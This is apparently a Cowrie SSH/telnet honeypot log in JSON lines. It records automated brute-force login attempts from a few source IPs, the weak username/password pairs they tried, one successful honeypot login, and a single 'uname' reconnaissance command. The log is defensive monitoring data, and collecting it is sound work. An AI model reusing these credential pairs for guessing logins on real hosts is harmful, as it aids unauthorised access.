{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:21.561285Z","src_ip":"45.156.87.204","session":"ecd01e3dbb0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root2","password":"root2","message":"login attempt [root2/root2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:21.809083Z","src_ip":"45.156.87.204","session":"ecd01e3dbb0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:22.894509Z","src_ip":"45.156.87.204","session":"ecd01e3dbb0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":43992,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d40a3d287eb","protocol":"ssh","message":"New connection: 45.156.87.204:43992 (159.203.135.109:22) [session: 5d40a3d287eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:25.083981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:25.090882Z","src_ip":"45.156.87.204","session":"5d40a3d287eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:25.176012Z","src_ip":"45.156.87.204","session":"5d40a3d287eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123456","message":"login attempt [git/git123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:25.429350Z","src_ip":"45.156.87.204","session":"5d40a3d287eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:26.517425Z","src_ip":"45.156.87.204","session":"5d40a3d287eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":61062,"dst_ip":"159.203.135.109","dst_port":22,"session":"a533c06b5258","protocol":"ssh","message":"New connection: 94.26.106.229:61062 (159.203.135.109:22) [session: a533c06b5258]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:26.600621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:26.728845Z","src_ip":"94.26.106.229","session":"a533c06b5258","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:26.732666Z","src_ip":"94.26.106.229","session":"a533c06b5258","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lebronjames","message":"login attempt [root/lebronjames] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:27.145773Z","src_ip":"94.26.106.229","session":"a533c06b5258","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00185656547546,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:27.868443Z","src_ip":"152.42.224.71","session":"da086a2975e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:28.232438Z","src_ip":"94.26.106.229","session":"a533c06b5258","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":78.13652801513672,"message":"Connection lost after 78 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:28.274726Z","src_ip":"152.42.224.71","session":"63129ba88bcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":44002,"dst_ip":"159.203.135.109","dst_port":22,"session":"a020b370ad97","protocol":"ssh","message":"New connection: 45.156.87.204:44002 (159.203.135.109:22) [session: a020b370ad97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:28.844108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:28.860008Z","src_ip":"45.156.87.204","session":"a020b370ad97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:28.929806Z","src_ip":"45.156.87.204","session":"a020b370ad97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123456","message":"login attempt [root/root123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:29.251712Z","src_ip":"45.156.87.204","session":"a020b370ad97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:30.338888Z","src_ip":"45.156.87.204","session":"a020b370ad97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":61068,"dst_ip":"159.203.135.109","dst_port":22,"session":"090e8d819013","protocol":"ssh","message":"New connection: 94.26.106.229:61068 (159.203.135.109:22) [session: 090e8d819013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:30.833678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:30.989806Z","src_ip":"94.26.106.229","session":"090e8d819013","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:30.994195Z","src_ip":"94.26.106.229","session":"090e8d819013","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"zookeeper","password":"zookeeper","message":"login attempt [zookeeper/zookeeper] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:31.660389Z","src_ip":"94.26.106.229","session":"090e8d819013","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:31.883168Z","src_ip":"94.26.106.229","session":"090e8d819013","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:31.886740Z","src_ip":"94.26.106.229","session":"090e8d819013","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:31.974375Z","src_ip":"94.26.106.229","session":"090e8d819013","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:31.980461Z","src_ip":"94.26.106.229","session":"090e8d819013","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":46318,"dst_ip":"159.203.135.109","dst_port":22,"session":"0717232eddf9","protocol":"ssh","message":"New connection: 45.156.87.204:46318 (159.203.135.109:22) [session: 0717232eddf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:32.470129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:32.474327Z","src_ip":"45.156.87.204","session":"0717232eddf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:32.557302Z","src_ip":"45.156.87.204","session":"0717232eddf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angel","password":"angel","message":"login attempt [angel/angel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:32.804752Z","src_ip":"45.156.87.204","session":"0717232eddf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":35088,"dst_ip":"159.203.135.109","dst_port":22,"session":"693070b473c9","protocol":"ssh","message":"New connection: 94.26.106.229:35088 (159.203.135.109:22) [session: 693070b473c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:33.314369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:33.319284Z","src_ip":"94.26.106.229","session":"693070b473c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:33.402854Z","src_ip":"94.26.106.229","session":"693070b473c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"123root","message":"login attempt [app/123root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:33.655417Z","src_ip":"94.26.106.229","session":"693070b473c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:33.891146Z","src_ip":"45.156.87.204","session":"0717232eddf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:34.741430Z","src_ip":"94.26.106.229","session":"693070b473c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.82605290412903,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:35.339506Z","src_ip":"152.42.224.71","session":"cb0d0428e652","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":35094,"dst_ip":"159.203.135.109","dst_port":22,"session":"697e579f21b6","protocol":"ssh","message":"New connection: 94.26.106.229:35094 (159.203.135.109:22) [session: 697e579f21b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:35.450864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:35.456437Z","src_ip":"94.26.106.229","session":"697e579f21b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:35.544596Z","src_ip":"94.26.106.229","session":"697e579f21b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58422,"dst_ip":"10.17.0.5","dst_port":23,"session":"a836e66dccb2","protocol":"telnet","message":"New connection: 152.42.224.71:58422 (10.17.0.5:23) [session: a836e66dccb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:35.986176Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":46334,"dst_ip":"159.203.135.109","dst_port":22,"session":"88704be383c6","protocol":"ssh","message":"New connection: 45.156.87.204:46334 (159.203.135.109:22) [session: 88704be383c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:36.046167Z"}
